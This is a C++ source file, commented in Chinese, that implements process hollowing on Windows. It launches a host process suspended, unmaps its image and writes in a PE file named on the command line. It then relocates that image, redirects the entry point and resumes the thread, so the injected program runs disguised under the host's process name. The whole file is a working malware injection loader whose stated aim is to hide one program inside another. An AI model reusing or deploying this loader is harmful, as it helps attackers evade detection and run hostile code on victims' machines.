// loadEXE.cpp : Defines the entry point for the console application.
//实现将笔记本程序插入到计算器程序并替换掉程序进程名
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
struct MZHeader //DOS
{
unsigned short signature; //DOS头标志
unsigned short partPag;
unsigned short pageCnt;
unsigned short reloCnt;
unsigned short hdrSize;
unsigned short minMem;
unsigned short maxMem;
unsigned short reloSS;
unsigned short exeSP;
unsigned short chksum;
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablOff;
unsigned short overlay;
unsigned char reserved[32];
unsigned long offsetToPE; //MZHearder末尾到PE头的距离(sub)
};
struct PE_Header
{
unsigned long signature; //PE头标志
unsigned short machine;
unsigned short numSections; //表示节的个数
unsigned long timeDateStamp;
unsigned long pointerToSymbolTable;
unsigned long numOfSymbols;
unsigned short sizeOfOptionHeader;
unsigned short characteristics;
};
struct PE_ExtHeader
{
unsigned short magic;
unsigned char majorLinkerVersion;
unsigned char minorLinkerVersion;
unsigned long sizeOfCode;
unsigned long sizeOfInitializedData;
unsigned long sizeOfUninitializedData;
unsigned long addressOfEntryPoint;
unsigned long baseOfCode;
unsigned long baseOfData;
unsigned long imageBase;
unsigned long sectionAlignment; //节的大小
unsigned long fileAlignment;
unsigned short majorOSVersion;
unsigned short minorOSVersion;
unsigned short majorImageVersion;
unsigned short minorImageVersion;
unsigned short majorSubsystemVersion;
unsigned short minorSubsystemVersion;
unsigned long reserved1;
unsigned long sizeOfImage;
unsigned long sizeOfHeaders;//表示头文件的大小,一个PE程序可以分成: 头文件+节===当头文件以节的形式计算时,如果能整除节和不能整除
unsigned long checksum;
unsigned short subsystem;
unsigned short DLLCharacteristics;
unsigned long sizeOfStackReserve;
unsigned long sizeOfStackCommit;
unsigned long sizeOfHeapReserve;
unsigned long sizeOfHeapCommit;
unsigned long loaderFlags;
unsigned long numberOfRVAAndSizes;
unsigned long exportTableAddress;
unsigned long exportTableSize;
unsigned long importTableAddress;
unsigned long importTableSize;
unsigned long resourceTableAddress;
unsigned long resourceTableSize;
unsigned long exceptionTableAddress;
unsigned long exceptionTableSize;
unsigned long certFilePointer;
unsigned long certTableSize;
unsigned long relocationTableAddress;
unsigned long relocationTableSize;
unsigned long debugDataAddress;
unsigned long debugDataSize;
unsigned long archDataAddress;
unsigned long archDataSize;
unsigned long globalPtrAddress;
unsigned long globalPtrSize;
unsigned long TLSTableAddress;
unsigned long TLSTableSize;
unsigned long loadConfigTableAddress;
unsigned long loadConfigTableSize;
unsigned long boundImportTableAddress;
unsigned long boundImportTableSize;
unsigned long importAddressTableAddress;
unsigned long importAddressTableSize;
unsigned long delayImportDescAddress;
unsigned long delayImportDescSize;
unsigned long COMHeaderAddress;
unsigned long COMHeaderSize;
unsigned long reserved2;
unsigned long reserved3;
};
struct SectionHeader //只定义了一个节表达结构是一个数组。。一般有多少个节就有多少个节表结构
{
unsigned char sectionName[8];
unsigned long virtualSize; //节表中virtualSize表示节表对应的节的大小(是节在内存中的长度),PE程序分头文件+节。这个就是节的大小
unsigned long virtualAddress;
unsigned long sizeOfRawData;//SizeOfRawData 则是VirtualSize经文件对齐后的尺寸。
unsigned long pointerToRawData;//SectionHeader[0].pointerToRawData 表示第1个节的头部到头文件头部距离,程序分头文件+节
unsigned long pointerToRelocations;
unsigned long pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned long characteristics;
};
struct ImportDirEntry
{
DWORD importLookupTable;
DWORD timeDateStamp;
DWORD fowarderChain;
DWORD nameRVA;
DWORD importAddressTable;
};
BOOL readPEInfo(FILE* fp, MZHeader* outMZ, PE_Header* outPE, PE_ExtHeader* outpeXH, SectionHeader** outSecHdr) //读入指定的母体程序文件到内存分别读DOS头,PE头,节
{
fseek(fp, 0, SEEK_END); //fseek用于移动指针的位置
long fileSize;
fileSize = ftell( fp ); //ftell返回一个文件的指针
fseek(fp, 0, SEEK_SET);
if( fileSize < sizeof(MZHeader) ) //如果读的母体程序比MZHEADER DOS头还小。肯定不是PE文件
{
printf("文件的大小不够!");
return FALSE;
}
MZHeader mzH; //结构的对象变量
fread(&mzH, sizeof(MZHeader), 1, fp); //把DOS头读取后保存到MZH中
if(mzH.signature != 0x5a4d)
{
printf("文件没有MZ头!");
return FALSE;
}
if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header)) // mzH.offsetToPE 表示PE_Header尾部到PE头的距离
{
printf("DOS头数据有误!");
return FALSE;
}
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);
if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
{
printf("获取的PE头数据有错误!\n");
return FALSE;
}
PE_ExtHeader peXH;
fread(&peXH, sizeof(PE_ExtHeader), 1, fp); //fread读取后的指针指向文件的尾部
SectionHeader* secHdr = new SectionHeader[peH.numSections]; //节表本身是数组
fread(secHdr, sizeof(SectionHeader)*peH.numSections, 1, fp);
*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secHdr;
return TRUE;
}
int calcTotalImageSize(MZHeader* inMZ, PE_Header* inPE, PE_ExtHeader* inpeXH, SectionHeader* inSecHdr) //计算文件在保存在内存中的节大小
{
int alignment;
alignment = inpeXH->sectionAlignment;
int result = 0;
if( inpeXH->sizeOfHeaders % alignment == 0 ) //读取头文件到内存,程序的头文件以节存储时,有整除节和不整除节的情况
{
result += inpeXH->sizeOfHeaders;
}
else
{
int val = inpeXH->sizeOfHeaders/alignment;
val ++;
result += val*alignment;
}
for(int i=0; i<inPE->numSections; i++) //读取节到内存中,PE头中numSections表示头文件中节的大小,PE程序分成头文件+节
{
if(inSecHdr[i].virtualSize)
{
if(inSecHdr[i].virtualSize % alignment == 0)
{
result += inSecHdr[i].virtualSize; //节表中virtualSize表示节表对应的节的大小,
}
else
{
int val = inSecHdr[i].virtualSize / alignment;
val++;
result += val * alignment;
}
}
}
return result;
}
unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment) //判断计算寄生文件的节是否被整除,alignment (节)为内存最小单位
{
if(curSize % alignment == 0)
{
return curSize;
}
else
{
int val = curSize / alignment;
val++;
return (val * alignment);
}
}
BOOL loadPE(FILE* fp, MZHeader* inMZ, PE_Header* inPE, PE_ExtHeader* inpeXH, SectionHeader* inSecHdr, LPVOID ptrLoc) //寄生文件的读取到母体的内存空间,寄生文件的导入时的起始位置LPVOID ptrLoc) ,只能在母体的文件内存中
{
char* outPtr = (char*)ptrLoc;
fseek(fp, 0, SEEK_SET); //将文件的指针移到到文件头部
unsigned long headerSize;
headerSize = inpeXH->sizeOfHeaders; //寄生文件的头文件的大小
for(int i=0; i<inPE->numSections; i++) //判断保证获取sizeOfHeaders正确
{
if(inSecHdr[i].pointerToRawData < headerSize) //第1个节.pointerToRawData 的距离=头文件的头部到尾部的距离。程序分头文件+节
{
headerSize = inSecHdr[i].pointerToRawData;
}
}
unsigned long readSize;
readSize = fread(outPtr, 1, headerSize, fp); //导入头文件
if( readSize != headerSize )
{
printf("寄生文件头文件导入内存时发生错误!\n");
return FALSE;
}
outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment); //头文件大小sizeOfHeaders,内存中保存的最小单位sectionAlignment
for(i=0; i<inPE->numSections; i++) //把寄生文件的节读入内存中
{
if(inSecHdr[i].sizeOfRawData)
{
unsigned long toRead = inSecHdr[i].sizeOfRawData;
if(toRead > inSecHdr[i].virtualSize)
{
toRead = inSecHdr[i].virtualSize;
}
fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);//把指针指向节的头部。pointerToRawData 的距离=头文件的头部到尾部的距离,
readSize = fread(outPtr, 1, toRead, fp);
//SizeOfRawData >=VirtualSize
//VirtualSize 是节在内存中的长度
//SizeOfRawData 则是VirtualSize经文件对齐后的尺寸。
//比如: 你的.text的代码段长是0x110但是文件对齐尺寸是0x400,那.text的SizeOfRawData 就是0x400,而virtualSize就是0x110
if( readSize != toRead )
{
printf("寄生文件节导入内存时发生错误!\n");
return FALSE;
}
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
}
else
{
if(inSecHdr[i].virtualSize)
{
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
}
}
}
return TRUE;
}
struct FixupBlock // = RVA + sizeofblock (重定位表 + RVA + )
{
unsigned long pageRVA;
unsigned long blockSize;
};
//程序本身地址和导入内存后程序地址是不一样
void doRelocation(MZHeader* inMZ, PE_Header* inPE, PE_ExtHeader* inpeXH, SectionHeader* inSecHdr, LPVOID ptrLoc, DWORD newBase) //重定位 LPVOID ptrLoc是程序导入到内存时的数据指针(所有数据),导入内存后程序的新地址DWORD newBase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) //relocationTableAddress表的地址(重定位该表的数据指令项),relocationTableSize重定位表大小
{
long delta;
delta = newBase - inpeXH->imageBase;//程序导入内存前和内存后基地址的偏移,imageBase基地址
FixupBlock* fixBlk = (FixupBlock*)((char*)ptrLoc + inpeXH->relocationTableAddress);//blockSize
while(fixBlk->blockSize)
{
int numEntries;
numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
unsigned short* offsetPtr = (unsigned short*)(fixBlk + 1);
for(int i=0; i<numEntries; i++)
{
DWORD* codeLoc = (DWORD*)((char*)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
int relocType;
relocType = (*offsetPtr & 0xF000) >> 12;
if(relocType == 3)
{
*codeLoc = ((DWORD)*codeLoc) + delta;
}
offsetPtr++;
}
fixBlk = (FixupBlock*)offsetPtr;
}
}
}
typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
}PROCINFO;
#define TARGETPROC "notopad.exe"
CHAR szDefDir[] = "c:\\";
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO* outChildProcInfo) //创建寄生文件的线程
{
STARTUPINFO si = {0};
if( CreateProcess(NULL, TARGETPROC, NULL, NULL, 0, CREATE_SUSPENDED, NULL, szDefDir, &si, pi) )
{
ctx->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, ctx);
DWORD* pebInfo = (DWORD*)ctx->Ebx;
DWORD read;
ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
DWORD curAddr = outChildProcInfo->baseAddr;
MEMORY_BASIC_INFORMATION memInfo;
while(VirtualQueryEx(pi->hProcess, (LPCVOID)curAddr, &memInfo, sizeof(memInfo)))
{
if(memInfo.State == MEM_FREE)
{
break;
}
curAddr += memInfo.RegionSize;
}
outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
return TRUE;
}
return FALSE;
}
typedef DWORD (WINAPI* PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);//断开文件映像的联系,保证如果写入的寄生文件比较母体文件大的话,要重新开辟内存空间
BOOL hasRelocationTable(PE_ExtHeader* inpeXH) //
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
return TRUE;
}
return FALSE;
}
void doFork(MZHeader* inMZ, PE_Header* inPE, PE_ExtHeader* inpeXH, SectionHeader* inSecHdr, LPVOID ptrLoc, DWORD imageSize) //插入寄生文件到母体文件,在母体分配空间,//再写入,在母体开辟空间有3种情况,基地址相同和大小相同,或都不相同先断掉映射,如果都没//有再根据母体重定位表再分配空间
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;
if( createChild(&pi, &ctx, &childInfo) )
{
LPVOID v = (LPVOID)NULL;
if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize) //imageBase母体程序基地址起始位置
{
v = (LPVOID)childInfo.baseAddr;
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);//MSDN中查的VirtualProtectEx改变把母体的程序进程的属性该成可写
printf("Using Existing Mem for new EXE!");
}
else
{
PTRZwUnmapViewOfSection pZwUnmapViewOfSection =
(PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
if( pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0 )
{
v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(v)
{
printf("Unmappe and Allocated Mem for new Exe");
}
}
}
if( !v && hasRelocationTable(inpeXH) )
{
v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请内存空间
if(v)
{
printf("Allocated Mem for new EXE will be 基重定位relocated!");
doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
}
}
if( v )
{
DWORD* pebInfo = (DWORD*)ctx.Ebx;
DWORD wrote;
WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
if( WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, &wrote) )
{
printf("New Exe image injected into process\n");
ctx.ContextFlags = CONTEXT_FULL;
if(DWORD(v) == childInfo.baseAddr)
{
ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;
}
else
{
ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;
}
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
}
else
{
printf("WriteProcessMemory failed!\n");
TerminateProcess(pi.hProcess, 0);
}
}
else
{
printf("Fail to Allocate Memory!\n");
TerminateProcess(pi.hProcess, 0);
}
}
}
int main(int argc, char* argv[])
{
FILE* fp;
if( argc != 2 )
{
printf("Usage: %s <EXE filaname>\n", argv[0]);
return 0;
}
else
{
fp = fopen(argv[1], "rb");
}
if( fp )
{
MZHeader mzH;
PE_Header peH;
PE_ExtHeader peXH;
SectionHeader* secHdr;
if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
{
int imageSize;
imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if( ptrLoc )
{
loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);
doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);
}
else
{
printf("Allocation failed\n");
}
}
fclose( fp );
}
else
{
printf("Can not open the EXE file!\n");
}
return 0;
}